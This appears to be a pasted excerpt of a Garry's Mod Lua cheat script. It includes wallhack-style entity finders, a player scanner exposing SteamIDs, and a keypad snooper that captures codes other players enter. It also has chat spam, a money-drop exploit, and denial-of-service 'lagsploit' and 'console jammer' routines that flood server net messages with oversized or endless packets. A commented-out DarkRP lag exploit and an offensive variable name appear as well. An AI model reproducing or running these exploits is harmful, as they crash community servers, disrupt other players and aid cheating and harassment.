  2220.    "Kane",
  2221.    "David"
  2222. }
  2223.  
  2224. lastname = {
  2225. "Smith",
  2226. "Jones",
  2227. "Anderson",
  2228. "Morgan",
  2229. "Freeman",
  2230. "Wilson",
  2231. "Williams",
  2232. "Brown",
  2233. "Taylor",
  2234. "Martin",
  2235. "White",
  2236. "Howard",
  2237. "Bieber",
  2238. "Cooper",
  2239. "Gray",
  2240. "Hardy",
  2241. "Thompson",
  2242. "Baron",
  2243. "Finnegan",
  2244. "McDonald",
  2245. "Doyle",
  2246. "Parker",
  2247. "Dawson",
  2248. "Mcintyre",
  2249. "Redwood",
  2250. "Sutherland",
  2251. "Harris",
  2252. "Presley",
  2253. "Cole",
  2254. "Corne",
  2255. "Colin",
  2256. "Lacey",
  2257. "Hall",
  2258. "Hulley",
  2259. "Rayner",
  2260. "Cashen",
  2261. "Seng",
  2262. "Miller",
  2263. "Ludon",
  2264. "Curry",
  2265. "Watson",
  2266. "Holmes",
  2267. "Cartman",
  2268. "Lane",
  2269. "Porter",
  2270. "Fletcher",
  2271. "Hunter",
  2272. "Lynch",
  2273. "Corbett",
  2274. "Barry",
  2275. "Kennedy",
  2276. "Riley",
  2277. "Davis",
  2278. "Lennon",
  2279. "Odinsson",
  2280. "Robson",
  2281. "Ferris",
  2282. "Pearce",
  2283. "Walter",
  2284. "Cruz",
  2285. "Pratchett",
  2286. "Hayes",
  2287. "Danliels",
  2288. "Gregory",
  2289. "Doe",
  2290. "Nelson",
  2291. "Hale",
  2292. "Bryan",
  2293. "Ford",
  2294. "Holden",
  2295. "Burns",
  2296. "Mcneal",
  2297. "Deere"
  2298. }
  2299.  
  2300.  
  2301. function randomrpname()
  2302. LocalPlayer():ConCommand("darkrp rpname "..table.Random(firstname).." "..table.Random(lastname))
  2303. end
  2304. concommand.Add("jav_newname",randomrpname)
  2305.  
  2306.  
  2307.  
  2308. /*------------------------------------------
  2309. Spirit Walk
  2310. ------------------------------------------*/
  2311.  
  2312.  
  2313. local SW = {}
  2314.  
  2315. SW.Enabled = false
  2316. SW.ViewOrigin = Vector( 0, 0, 0 )
  2317. SW.ViewAngle = Angle( 0, 0, 0 )
  2318. SW.Velocity = Vector( 0, 0, 0 )
  2319.  
  2320. function SW.CalcView( ply, origin, angles, fov )
  2321.        if ( !SW.Enabled ) then return end
  2322.        if ( SW.SetView ) then
  2323.                SW.ViewOrigin = origin
  2324.                SW.ViewAngle = angles
  2325.              
  2326.                SW.SetView = false
  2327.        end
  2328.        return { origin = SW.ViewOrigin, angles = SW.ViewAngle }
  2329. end
  2330. hook.Add( "CalcView", "SpiritWalk", SW.CalcView )
  2331.  
  2332. function SW.CreateMove( cmd )
  2333.        if ( !SW.Enabled ) then return end
  2334.      
  2335.        // Add and reduce the old velocity.
  2336.        local time = FrameTime()
  2337.        SW.ViewOrigin = SW.ViewOrigin + ( SW.Velocity * time )
  2338.        SW.Velocity = SW.Velocity * 0.95
  2339.      
  2340.        // Rotate the view when the mouse is moved.
  2341.        local sensitivity = 0.022
  2342.        SW.ViewAngle.p = math.Clamp( SW.ViewAngle.p + ( cmd:GetMouseY() * sensitivity ), -89, 89 )
  2343.        SW.ViewAngle.y = SW.ViewAngle.y + ( cmd:GetMouseX() * -1 * sensitivity )
  2344.      
  2345.        // What direction we're going to move in.
  2346.         local add = Vector( 0, 0, 0 )
  2347.         local ang = SW.ViewAngle
  2348.         if ( cmd:KeyDown( IN_FORWARD ) ) then add = add + ang:Forward() end
  2349.         if ( cmd:KeyDown( IN_BACK ) ) then add = add - ang:Forward() end
  2350.         if ( cmd:KeyDown( IN_MOVERIGHT ) ) then add = add + ang:Right() end
  2351.         if ( cmd:KeyDown( IN_MOVELEFT ) ) then add = add - ang:Right() end
  2352.         if ( cmd:KeyDown( IN_JUMP ) ) then add = add + ang:Up() end
  2353.         if ( cmd:KeyDown( IN_DUCK ) ) then add = add - ang:Up() end
  2354.        
  2355.         // Speed.
  2356.         add = add:GetNormal() * time * 500
  2357.         if ( cmd:KeyDown( IN_SPEED ) ) then add = add * 2 end
  2358.        
  2359.         SW.Velocity = SW.Velocity + add
  2360.        
  2361.         // This stops us looking around crazily while spiritwalking.
  2362.         if ( SW.LockView == true ) then
  2363.                 SW.LockView = cmd:GetViewAngles()
  2364.         end
  2365.         if ( SW.LockView ) then
  2366.                 cmd:SetViewAngles( SW.LockView )
  2367.         end
  2368.        
  2369.         // This stops us moving while spiritwalking.
  2370.         cmd:SetForwardMove( 0 )
  2371.         cmd:SetSideMove( 0 )
  2372.         cmd:SetUpMove( 0 )
  2373. end
  2374. hook.Add( "CreateMove", "SpiritWalk", SW.CreateMove )
  2375.  
  2376. function SW.Toggle()
  2377.         SW.Enabled = !SW.Enabled
  2378.         SW.LockView = SW.Enabled
  2379.         SW.SetView = true
  2380.        
  2381.         local status = { [ true ] = "ON", [ false ] = "OFF" }
  2382.         print( "SpiritWalk " .. status[ SW.Enabled ] )
  2383. end
  2384. concommand.Add( "jav_spiritwalk", SW.Toggle )
  2385.  
  2386. concommand.Add( "jav_spiritwalk_printpos", function() print( SW.ViewOrigin ) end )
  2387.  
  2388.  
  2389. /*------------------------------------------
  2390. Entity Scanner
  2391. ------------------------------------------*/
  2392.  
  2393. targdist = 0
  2394. targmodel = nil
  2395. targname = nil
  2396. targrank = nil
  2397. targteam = nil
  2398. targteamcolor = Color(255,255,255)
  2399. targhealth = nil
  2400. targactive = nil
  2401. targpos = nil
  2402.  
  2403. function Scanner()
  2404. if GetConVarNumber("jav_scanner_enabled") == 1 then
  2405.     local tr = LocalPlayer():GetEyeTrace()
  2406.     if not tr.Entity then return end
  2407.     local target = tr.Entity
  2408.  
  2409.     if target:GetClass():lower() == "player" then
  2410.     targdist = (math.floor(target:GetPos():Distance(LocalPlayer():GetPos())) * 0.02 )
  2411.     targmodel = target:GetModel()
  2412.     targname = target:Nick()
  2413.     targrank = target:GetUserGroup()
  2414.     targteamcolor = team.GetColor(target:Team())
  2415.     targteam = team.GetName(target:Team())
  2416.     targhealth = target:Health()
  2417.     targindex = target:EntIndex()
  2418.     targid = target:SteamID()
  2419.     targposx = math.Round(target:GetPos().x)
  2420.     targposy = math.Round(target:GetPos().y)
  2421.     targposz = math.Round(target:GetPos().z)
  2422.     if targid == "NULL" then targid = "Bots have no SteamID" end
  2423.     targactive = target:GetActiveWeapon():GetPrintName()
  2424.     end
  2425.  
  2426.  
  2427.     if target:GetClass():lower() != "player" && target:GetClass():lower() != "worldspawn" then
  2428.     targname = target:GetClass()
  2429.     targdist = (math.floor(target:GetPos():Distance(LocalPlayer():GetPos())) * 0.02 )
  2430.     targmodel = target:GetModel()
  2431.     targindex = target:EntIndex()
  2432.     targposx = math.Round(target:GetPos().x)
  2433.     targposy = math.Round(target:GetPos().y)
  2434.     targposz = math.Round(target:GetPos().z)
  2435.     targrank = "N/A"
  2436.     targteam = "N/A"
  2437.     targhealth = "N/A"
  2438.     targid = "N/A"
  2439.     targactive = "N/A"
  2440. end
  2441. end
  2442. end
  2443. hook.Add( "Think", "PropScanner", Scanner )
  2444.  
  2445. hook.Add( "HUDPaint", "jav_scandata", function( )
  2446. if GetConVarNumber("jav_scanner_enabled") == 1 then
  2447.  
  2448.     surface.SetDrawColor( 0,0,0,150 )
  2449.     surface.DrawRect( 410, ScrH() / 2 - 110, 450, 220 )
  2450.     surface.SetDrawColor( 255,150,0,155 )
  2451.     surface.DrawRect( 500, ScrH() / 2 - 110, 2, 220 )
  2452.  
  2453.     draw.SimpleTextOutlined( "Name/Type:", "Trebuchet18", 420, ScrH() / 2 - 100, Color(255,255,255),4,1,1,Color(0,0,0))
  2454.     draw.SimpleTextOutlined( "Rank:", "Trebuchet18", 420, ScrH() / 2 - 80, Color(255,255,255),4,1,1,Color(0,0,0))
  2455.     draw.SimpleTextOutlined( "Team:", "Trebuchet18", 420, ScrH() / 2 - 60, Color(255,255,255),4,1,1,Color(0,0,0))
  2456.     draw.SimpleTextOutlined( "Health:", "Trebuchet18", 420, ScrH() / 2 - 40, Color(255,255,255),4,1,1,Color(0,0,0))
  2457.     draw.SimpleTextOutlined( "Distance:", "Trebuchet18", 420, ScrH() / 2 - 20, Color(255,255,255),4,1,1,Color(0,0,0))
  2458.     draw.SimpleTextOutlined( "Model:", "Trebuchet18", 420, ScrH() / 2, Color(255,255,255),4,1,1,Color(0,0,0))
  2459.     draw.SimpleTextOutlined( "Ent Index:", "Trebuchet18", 420, ScrH() / 2 + 20, Color(255,255,255),4,1,1,Color(0,0,0))
  2460.     draw.SimpleTextOutlined( "SteamID:", "Trebuchet18", 420, ScrH() / 2 + 40, Color(255,255,255),4,1,1,Color(0,0,0))
  2461.     draw.SimpleTextOutlined( "Active Wep:", "Trebuchet18", 420, ScrH() / 2 + 60, Color(255,255,255),4,1,1,Color(0,0,0))
  2462.     draw.SimpleTextOutlined( "Position:", "Trebuchet18", 420, ScrH() / 2 + 80, Color(255,255,255),4,1,1,Color(0,0,0))
  2463.  
  2464.     draw.SimpleTextOutlined( targname, "Trebuchet18", 510, ScrH() / 2 - 100, Color(255,255,255),4,1,1,Color(0,0,0))
  2465.     draw.SimpleTextOutlined( targdist.."m", "Trebuchet18", 510, ScrH() / 2 - 80, Color(255,255,255),4,1,1,Color(0,0,0))
  2466.     draw.SimpleTextOutlined( targmodel, "Trebuchet18", 510, ScrH() / 2 - 60, Color(255,255,255),4,1,1,Color(0,0,0))
  2467.     draw.SimpleTextOutlined( targrank, "Trebuchet18", 510, ScrH() / 2 - 40, Color(255,255,255),4,1,1,Color(0,0,0))
  2468.     draw.SimpleTextOutlined( targteam, "Trebuchet18", 510, ScrH() / 2 - 20, targteamcolor,4,1,1,Color(0,0,0))
  2469.     draw.SimpleTextOutlined( targhealth, "Trebuchet18", 510, ScrH() / 2, Color(100,255,100),4,1,1,Color(0,0,0))
  2470.     draw.SimpleTextOutlined( targindex, "Trebuchet18", 510, ScrH() / 2 + 20, Color(255,255,255),4,1,1,Color(0,0,0))
  2471.     draw.SimpleTextOutlined( targid, "Trebuchet18", 510, ScrH() / 2 + 40, Color(220,220,255),4,1,1,Color(0,0,0))
  2472.     draw.SimpleTextOutlined( targactive, "Trebuchet18", 510, ScrH() / 2 + 60, Color(255,255,0),4,1,1,Color(0,0,0))
  2473.     draw.SimpleTextOutlined( "X: "..tostring(targposx), "Trebuchet18", 510, ScrH() / 2 + 80, Color(255,205,255),4,1,1,Color(0,0,0))
  2474.     draw.SimpleTextOutlined( "Y: "..tostring(targposy), "Trebuchet18", 570, ScrH() / 2 + 80, Color(255,205,255),4,1,1,Color(0,0,0))
  2475.     draw.SimpleTextOutlined( "Z: "..tostring(targposz), "Trebuchet18", 630, ScrH() / 2 + 80, Color(255,205,255),4,1,1,Color(0,0,0))
  2476. end
  2477. end)
  2478.  
  2479. /*------------------------------------------
  2480. Entity Finder ESP
  2481. ------------------------------------------*/
  2482.  
  2483.  
  2484. //Toggle command
  2485. local showing = true
  2486.  
  2487. concommand.Add("jav_entfinder_toggle", function()
  2488.     if showing then
  2489.         showing = false
  2490.     else
  2491.         showing = true
  2492.     end
  2493. end)
  2494.  
  2495. //Everything menu related
  2496. local EntsToShow = {}
  2497. local OtherEnts = {}
  2498.  
  2499. concommand.Add("jav_entfinder_menu", function(ply, cmd, args)
  2500.     function Reload(startX, startY)
  2501.         table.Empty(OtherEnts)
  2502.         for k,v in pairs(ents.GetAll()) do
  2503.             local addToAllEnts = true
  2504.            
  2505.             for i,p in pairs(EntsToShow) do
  2506.                 if p == v:GetClass() then
  2507.                     addToAllEnts = false
  2508.                 end
  2509.             end
  2510.            
  2511.             for i,p in pairs(OtherEnts) do
  2512.                 if p == v:GetClass() then
  2513.                     addToAllEnts = false
  2514.                 end
  2515.             end
  2516.            
  2517.             if addToAllEnts then
  2518.                 table.insert(OtherEnts, v:GetClass())
  2519.             end
  2520.         end
  2521.  
  2522.         local main = vgui.Create( "DFrame" )
  2523.         main:SetSize( 400, 300 )
  2524.         if startX and startY then
  2525.             main:SetPos(startX, startY)
  2526.         else
  2527.             main:Center()
  2528.         end
  2529.         main:SetTitle( "" )
  2530.         main:SetVisible( true )
  2531.         main:SetDraggable( true )
  2532.         main:ShowCloseButton( true )
  2533.         main:MakePopup()
  2534.         main.Paint = function()
  2535.             draw.RoundedBox( 4, 0, 0, main:GetWide(), main:GetTall(), Color( 0, 0, 0, 200 ) )
  2536.         end
  2537.  
  2538.         local EFtoggle = vgui.Create( "DButton" )
  2539.     EFtoggle:SetParent( main )  
  2540.     EFtoggle:SetPos( 25, 10 )
  2541.     EFtoggle:SetTextColor( Color(255, 255, 255, 255) )
  2542.     EFtoggle:SetSize( 110, 25 )
  2543.     EFtoggle:SetToolTip( "Toggle Ent Finder" )
  2544.     EFtoggle.Paint = function()
  2545.     surface.SetDrawColor( 60, 30, 0, 200 )
  2546.     EFtoggle:SetText( "Toggle Ent Finder" )
  2547.     surface.DrawRect( 0, 0, EFtoggle:GetWide(), EFtoggle:GetTall() )
  2548.     end
  2549.     EFtoggle.DoClick = function() RunConsoleCommand("jav_entfinder_toggle") end
  2550.  
  2551.     local EFdistlabel = vgui.Create( "DLabel", Panel )
  2552.     EFdistlabel:SetParent(main)
  2553.     EFdistlabel:SetPos( 145, 15 )
  2554.     EFdistlabel:SetText( "Draw Distance:" )
  2555.     EFdistlabel:SizeToContents()
  2556.  
  2557.     local EFdistbox = vgui.Create( "DNumberWang" )// Create the checkbox
  2558.     EFdistbox:SetPos( 225, 12 )
  2559.     EFdistbox:SetParent(main)
  2560.     EFdistbox:SetMin(0)
  2561.     EFdistbox:SetMax(999999)
  2562.     EFdistbox:SetConVar( "jav_entfinder_distance" )
  2563.     EFdistbox:SetToolTip( "how far away you can see target entities from, it would be a good idea to set this low when looking for a common entity to avoid lag" )
  2564.    
  2565.  
  2566.  
  2567.         DermaList = vgui.Create( "DPanelList", main )
  2568.         DermaList:SetPos( 25,45 )
  2569.         DermaList:SetSize( 700, 500 )
  2570.         DermaList:SetSpacing( 75 )
  2571.         DermaList:EnableHorizontal( false )
  2572.         DermaList:EnableVerticalScrollbar( true )
  2573.        
  2574.         local SelectedEnts = vgui.Create("DListView")
  2575.         SelectedEnts:SetSize(150, 200)
  2576.         SelectedEnts:SetPos(0, 0)
  2577.         SelectedEnts:SetMultiSelect(false)
  2578.         SelectedEnts:AddColumn("Ents to show")
  2579.         for k,v in pairs(EntsToShow) do
  2580.             SelectedEnts:AddLine(v)
  2581.         end
  2582.         SelectedEnts.DoDoubleClick = function(parent, index, list)
  2583.             table.remove(EntsToShow, index)
  2584.             main:Close()
  2585.             local x, y = main:GetPos()
  2586.             Reload(x, y)
  2587.         end
  2588.         DermaList:Add(SelectedEnts)
  2589.        
  2590.         local AllEnts = vgui.Create("DListView")
  2591.         AllEnts:SetSize(150, 200)
  2592.         AllEnts:SetPos(200, 0)
  2593.         AllEnts:SetMultiSelect(false)
  2594.         AllEnts:AddColumn("Ents not to show")
  2595.         for k,v in pairs(OtherEnts) do
  2596.             AllEnts:AddLine(v)
  2597.         end
  2598.         AllEnts.DoDoubleClick = function(parent, index, list)
  2599.             table.insert(EntsToShow, OtherEnts[index])
  2600.             main:Close()
  2601.             local x, y = main:GetPos()
  2602.             Reload(x, y)
  2603.         end
  2604.         DermaList:Add(AllEnts)
  2605.     end
  2606.     Reload()
  2607. end)
  2608.  
  2609. //Actually drawing information
  2610. hook.Add("HUDPaint", "ShowEnts", function()
  2611.     if showing then
  2612.         for k,v in pairs(ents.GetAll()) do
  2613.             local drawing = false
  2614.  
  2615.            
  2616.             for i,p in pairs(EntsToShow) do
  2617.                 if v:GetClass() == p then
  2618.                     drawing = true
  2619.                 end
  2620.             end
  2621.  
  2622.             local Dist = math.floor(v:GetPos():Distance(LocalPlayer():GetPos()))
  2623.             local DrawDist = (GetConVarNumber("jav_entfinder_distance") / 0.02)
  2624.            
  2625.             if drawing && (Dist < DrawDist) then
  2626.                 local stuff = v:GetPos():ToScreen()
  2627.                
  2628.                 local text = v:GetClass()
  2629.                 draw.SimpleTextOutlined( text, "Trebuchet18", stuff.x - 35, stuff.y - 15, Color(255,255,255),4,1,1,Color(0,0,0))
  2630.                
  2631.                 surface.SetDrawColor( 255, 150, 0, 255)
  2632.                 surface.DrawRect( stuff.x - 4, stuff.y -4 , 8, 8)
  2633.             end
  2634.         end
  2635.     end
  2636. end)
  2637.  
  2638.  
  2639. /*------------------------------------------
  2640. Keypad Hax
  2641. ------------------------------------------*/
  2642.  
  2643.  
  2644.  
  2645. local X = -50
  2646. local Y = -100
  2647.  
  2648. local KeyPos =  {  
  2649. {X+5, Y+100, 25, 25, -2.2, 3.45, 1.3, -0},
  2650. {X+37.5, Y+100, 25, 25, -0.6, 1.85, 1.3, -0},
  2651. {X+70, Y+100, 25, 25, 1.0, 0.25, 1.3, -0},
  2652.  
  2653. {X+5, Y+132.5, 25, 25, -2.2, 3.45, 2.9, -1.6},
  2654. {X+37.5, Y+132.5, 25, 25, -0.6, 1.85, 2.9, -1.6},
  2655. {X+70, Y+132.5, 25, 25, 1.0, 0.25, 2.9, -1.6},
  2656.  
  2657. {X+5, Y+165, 25, 25, -2.2, 3.45, 4.55, -3.3},
  2658. {X+37.5, Y+165, 25, 25, -0.6, 1.85, 4.55, -3.3},
  2659. {X+70, Y+165, 25, 25, 1.0, 0.25, 4.55, -3.3},
  2660.  
  2661. {X+5, Y+67.5, 50, 25, -2.2, 4.7, -0.3, 1.6},
  2662. {X+60, Y+67.5, 35, 25, 0.3, 1.65, -0.3, 1.6}
  2663. }
  2664.  
  2665. local function FindDisplayText(ent)
  2666. if ent.GetDisplayText then
  2667. return ent:GetDisplayText()
  2668. else
  2669. return ent.Entity:GetNetworkedInt("keypad_num")
  2670. end
  2671. end
  2672.  
  2673. local function FindStatus(ent)
  2674. if ent.GetStatus then
  2675. return ent:GetStatus()
  2676. elseif ent.Entity:GetNetworkedBool("keypad_access") and ent.Entity:GetNetworkedBool("keypad_showaccess") then
  2677. return 1
  2678. elseif not ent.Entity:GetNetworkedBool("keypad_access") and ent.Entity:GetNetworkedBool("keypad_showaccess") then
  2679. return 2
  2680. else
  2681. return 0
  2682. end
  2683. end
  2684.  
  2685. hook.Add("Think", "keypadhax", function()
  2686. if GetConVarNumber("jav_keypadhax") == 1 then
  2687. for k,v in pairs(player.GetAll()) do
  2688. local kp = v:GetEyeTrace().Entity
  2689. if IsValid(kp) and (string.find(kp:GetClass(), "keypad") and not(string.find(v:GetClass(), "cracker") or string.find(v:GetClass(), "checker"))) and v:EyePos():Distance(kp:GetPos()) <= 70 then
  2690. kp.tempCode = kp.tempCode or ""
  2691. kp.tempText = kp.tempText or ""
  2692. kp.tempStatus = kp.tempStatus or 0
  2693.  
  2694. if (FindDisplayText(kp) != kp.tempText) or (FindStatus(kp) != kp.tempStatus) then
  2695. kp.tempText = FindDisplayText(kp)
  2696. kp.tempStatus = FindStatus(kp)
  2697.  
  2698. local tr = util.TraceLine({
  2699. start = v:EyePos(),
  2700. endpos = v:GetAimVector() * 32 + v:EyePos(),
  2701. filter = v
  2702. })
  2703.  
  2704. local pos = kp:WorldToLocal(tr.HitPos)
  2705.  
  2706. for i,p in pairs(KeyPos) do
  2707. local x = (pos.y - p[5]) / (p[5] + p[6])
  2708. local y = 1 - (pos.z + p[7]) / (p[7] + p[8])
  2709.  
  2710. if (x >= 0 and y >= 0 and x <= 1 and y <= 1) then
  2711. if i == 11 then
  2712. if kp.tempStatus == 1 then
  2713. kp.code = kp.tempCode
  2714. kp.tempCode = ""
  2715. elseif kp.tempStatus == 2 then
  2716. kp.tempCode = ""
  2717. end
  2718. elseif i == 10 then
  2719. kp.tempCode = ""
  2720. elseif i > 0 then
  2721. kp.tempCode = kp.tempCode..i
  2722. end
  2723. end
  2724. end
  2725. end
  2726. end
  2727. end
  2728. end
  2729. end)
  2730.  
  2731. hook.Add( "HUDPaint", "keypadhaxhud", function()
  2732. if GetConVarNumber("jav_keypadhax") == 1 then
  2733. local e = LocalPlayer():GetEyeTrace().Entity
  2734. if IsValid(e) and string.find(e:GetClass(), "keypad") then
  2735. local text = e.code or "Not Found"
  2736. draw.WordBox( 8, ScrW() / 2, ScrH() / 2, text, "Default", Color(50,50,75,100), Color(255,255,255,255) )
  2737. end
  2738.  
  2739. for k,v in pairs(ents.GetAll()) do
  2740. if IsValid(v) then
  2741. if string.find(v:GetClass(), "keypad") and not(string.find(v:GetClass(), "cracker") or string.find(v:GetClass(), "checker")) then
  2742. if v != e then
  2743. local pos = v:GetPos():ToScreen()
  2744. if IsValid(v) and v.code then
  2745. draw.RoundedBox( 4, pos.x-5, pos.y-5, 20, 20, Color( 0, 255, 0, 150 ) )
  2746. else
  2747. draw.RoundedBox( 4, pos.x-5, pos.y-5, 20, 20, Color( 255, 0, 0, 150 ) )
  2748. end
  2749. end
  2750. end
  2751. end
  2752. end
  2753. end
  2754. end)
  2755.  
  2756. /*------------------------------------------
  2757. Darkrp vomit cash exploit
  2758. ------------------------------------------*/
  2759.  
  2760. local Vomiting = false
  2761. concommand.Add( "jav_vomitcash", function()
  2762.         Vomiting = !Vomiting
  2763.         if( Vomiting ) then
  2764.                 timer.Create( "VomitCash", 2, 0, function()
  2765.                         RunConsoleCommand( "darkrp", "dropmoney", "5" )
  2766.                 end )
  2767.         else
  2768.                 timer.Destroy( "VomitCash" )
  2769.         end
  2770. end )
  2771.  
  2772. /*------------------------------------------
  2773. Console Jammer
  2774. ------------------------------------------*/
  2775.  
  2776. local Jamming = false
  2777. local rape = "{Mins:[-1 -187.9984 -18.8426],Constraints:[],Maxs:[79.2153 126.62.3755 0.3711}}}}"
  2778. concommand.Add( "jav_console_jammer", function()
  2779.         Jamming = !Jamming
  2780.         if( Jamming ) then
  2781.                 timer.Create( "JamConsole", 1, 0, function()
  2782.                     for i = 1, 100 do
  2783.                     net.Start( "ArmDupe" )
  2784.                     net.WriteUInt( 999999999999999999, 32 )
  2785.                     net.WriteData(rape,999999999999999999)
  2786.                     net.SendToServer()
  2787.                     end
  2788.                 end )
  2789.         else
  2790.                 timer.Destroy( "JamConsole" )
  2791.         end
  2792. end )
  2793.  
  2794. /*------------------------------------------
  2795. Chat Spammer
  2796. ------------------------------------------*/
  2797.  
  2798. local chatshitting = false
  2799. concommand.Add( "jav_chatspam", function()
  2800.         chatshitting = !chatshitting
  2801.         if( chatshitting ) then
  2802.                 timer.Create( "chatshit", 1, 0, function()
  2803.                         RunConsoleCommand( "say", GetConVarString("jav_chatspam_msg") )
  2804.                 end )
  2805.         else
  2806.                 timer.Destroy( "chatshit" )
  2807.         end
  2808. end )
  2809.  
  2810. /*------------------------------------------
  2811. Sandbox DOS Exploit (Created by legendofrobbo, based on the same theory as anubis's darkrp lagsploit)
  2812. ------------------------------------------*/
  2813.  
  2814. local jav_LagSploit = CreateClientConVar("jav_lagsploit", 0, false, false)
  2815. hook.Add("CreateMove", "lagsploit", function ()
  2816. local lagsploitpower = (GetConVarNumber("jav_lagsploit_power") )
  2817.    if(GetConVarNumber("jav_lagsploit") == 1 ) then
  2818.        for i=0, lagsploitpower do
  2819.  
  2820.        net.Start( "ArmDupe" )
  2821.            net.WriteUInt( 0, 32 )        
  2822.            net.WriteData( "", 0 )
  2823.        net.SendToServer()
  2824.  
  2825.        end
  2826.    end
  2827. end)
  2828.  
  2829. /*------------------------------------------
  2830. Convars
  2831. ------------------------------------------*/
  2832.  
  2833. CreateClientConVar("jav_esp_enabled",0,true,false)
  2834. CreateClientConVar("jav_esp_distance",100,true,false)
  2835. CreateClientConVar("jav_xray_distance",50,true,false)
  2836. CreateClientConVar("jav_esp_position",1,true,false)
  2837. CreateClientConVar("jav_esp_velocity",0,true,false)
  2838. CreateClientConVar("jav_esp_names",1,true,false)
  2839. CreateClientConVar("jav_esp_box",0,true,false)
  2840. CreateClientConVar("jav_esp_showtargetdistance",0,true,false)
  2841. CreateClientConVar("jav_esp_admin",1,true,false)
  2842. CreateClientConVar("jav_esp_budget",0,true,false)
  2843. CreateClientConVar("jav_bhop_enabled",0,true,false)
  2844. CreateClientConVar("jav_mirror_enabled",0,true,false)
  2845. CreateClientConVar("jav_crosshair_enabled",1,true,false)
  2846. CreateClientConVar("jav_flashlight_enabled",0,true,false)
  2847. CreateClientConVar("jav_murderhax",0,true,false)
  2848. CreateClientConVar("jav_ttthax",0,true,false)
  2849. CreateClientConVar("jav_triggerbot_enabled",0,true,false)
  2850. CreateClientConVar("jav_witness_enabled",0,true,false)
  2851. CreateClientConVar("jav_autoaim_enabled",0,true,false)
  2852. CreateClientConVar("jav_aa_targetfriends",1,true,false)
  2853. CreateClientConVar("jav_aa_targetteam",1,true,false)
  2854. CreateClientConVar("jav_aa_angle",25,true,false)
  2855. CreateClientConVar("jav_aa_headshot",1,true,false)
  2856. CreateClientConVar("jav_aa_snaponaim",0,true,false)
  2857. CreateClientConVar("jav_aa_snaponaimgrace",0.5,true,false)
  2858. CreateClientConVar("jav_aa_ignorewalls",0,true,false)
  2859. CreateClientConVar("jav_aa_autoshoot",0,true,false)
  2860. CreateClientConVar("jav_scanner_enabled",0,true,false)
  2861. CreateClientConVar("jav_entfinder_distance",100,true,false)
  2862. CreateClientConVar("jav_keypadhax",0,true,false)
  2863. CreateClientConVar("jav_lagsploit_power",80,true,false)
  2864. CreateClientConVar("jav_autoclick_enabled",0,true,false)
  2865. CreateClientConVar("jav_chatbot",0,true,false)
  2866. CreateClientConVar("jav_chatspam_msg","Your tears are currently being harvested by http://steamcommunity.com/groups/mluminge",true,false)
  2867. CreateClientConVar("jav_colour_r",255,true,false)
  2868. CreateClientConVar("jav_colour_g",150,true,false)
  2869. CreateClientConVar("jav_colour_b",0,true,false)
  2870. CreateClientConVar("jav_radar_enabled",0,true,false)
  2871. CreateClientConVar("jav_radar_size",250,true,false)
  2872. CreateClientConVar("jav_radar_fov",50,true,false)
  2873.  
  2874. /*
  2875. orginal lagsploit code
  2876.  
  2877.  
  2878. local aic_DarkRPLagSploit = CreateClientConVar("aic_darkrp_lagsploit", 0, false, false)
  2879. hook.Add("Think", "aic_sploit01", function ( )
  2880.    if((aic_DarkRPLagSploit:GetInt() == 1) and (gmod:GetGamemode().Name == "DarkRP")) then
  2881.        for i=0,800do
  2882.        net.Start("DarkRP_preferredjobmodel")
  2883.        net.WriteUInt(-8, 8)
  2884.        net.WriteString("\n\n\n\n\t\t\t\t\t\n\n\n\n\n\n\n")
  2885.        net.SendToServer()
  2886.      
  2887.        net.Start("DarkRP_spawnPocket")
  2888.        net.WriteFloat(-0.1)
  2889.        net.SendToServer()
  2890.        end
  2891.    end
  2892. end)
  2893.  
  2894. cvars.AddChangeCallback("aic_darkrp_lagsploit", function( cVar, oVal, nVal )
  2895.    if((tostring(nVal) == "1") and (gmod:GetGamemode().Name != "DarkRP")) then
  2896.        if(aic_Notifications:GetString() == "1") then
  2897.            Output("Warning! This exploit targets DarkRP.")
  2898.            aic_Notifications:SetString("0")
  2899.        end
  2900.    end
  2901. end)
  2902.  
  2903. */
  2904.  
  2905. local function javRadar()
  2906.    if GetConVarNumber("jav_radar_enabled") == 1 then
  2907.        local size = GetConVarNumber("jav_radar_size")
  2908.        local fov = GetConVarNumber("jav_radar_fov")
  2909.        local x = ScrW() - size - 5
  2910.        local y = 5
  2911.  
  2912.        surface.SetDrawColor(Color(0, 0, 0, 150))
  2913.        surface.DrawRect(x, y, size, size)
  2914.        x = x - 2
  2915.        surface.SetDrawColor(GColScheme)
  2916.        surface.DrawRect(x, y, size, 2)
  2917.        surface.DrawRect(x, y, 2, size)
  2918.        surface.DrawRect(x + size - 1, y, 2, size)
  2919.        surface.DrawRect(x, y + (size - 2), size, 2)
  2920.        surface.DrawRect((x -2)+ (size/2), (y-2) + (size/2), 4, 4)
  2921. --                if GD.bools["radar_cross"] then
  2922. --                    g.surface.DrawRect(x + size - (size * 0.50), y, 1, size)
  2923. --                    g.surface.DrawRect(x, y + size - (size * 0.50), size, 1)
  2924. --                end
  2925.  
  2926.        for key, ply in pairs(player.GetAll()) do
  2927.            if ply ~= LocalPlayer() and ply:Alive() and team.GetName(ply:Team()) ~= "Spectators" then
  2928.                local lx = LocalPlayer():GetPos().x - ply:GetPos().x
  2929.                local ly = LocalPlayer():GetPos().y - ply:GetPos().y
  2930.                local ang = EyeAngles().y
  2931.                local cos = math.cos(math.rad(-ang))
  2932.                local sin = math.sin(math.rad(-ang))
  2933.                local px = (ly * cos) + (lx * sin)
  2934.                local py = (lx * cos) - (ly * sin)
  2935.                px = px / fov
  2936.                py = py / fov
  2937.                px = math.Clamp(px, -(size * 0.50), size * 0.50)
  2938.                py = math.Clamp(py, -(size * 0.50), size * 0.50)
  2939.                        local col = GColScheme
  2940.                        local name = player.GetAll()[key]:Nick()
  2941.                        draw.SimpleText(name, "default", x + size - (size * 0.50) + px - 13, y + size - (size * 0.50) + py - 7, col, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
  2942.                        surface.SetDrawColor(GColScheme)
  2943.                        surface.DrawRect(x + size - (size * 0.50) + px, y + size - (size * 0.50) + py, 3, 3)
  2944.                        --surface.DrawRect(x + size - (size * 0.50) + px, y + size - (size * 0.50) + py - 3, 1, 7)
  2945.  
  2946.            end
  2947.  
  2948.        end
  2949.  
  2950.    end
  2951. end
  2952. hook.Add("HUDPaint", "jav_radar", javRadar)
  2953. --====================================--
  2954. --=Kek Steal, By Velkon or something.=--
  2955. --====================================--
Add Comment
Please, Sign In to add comment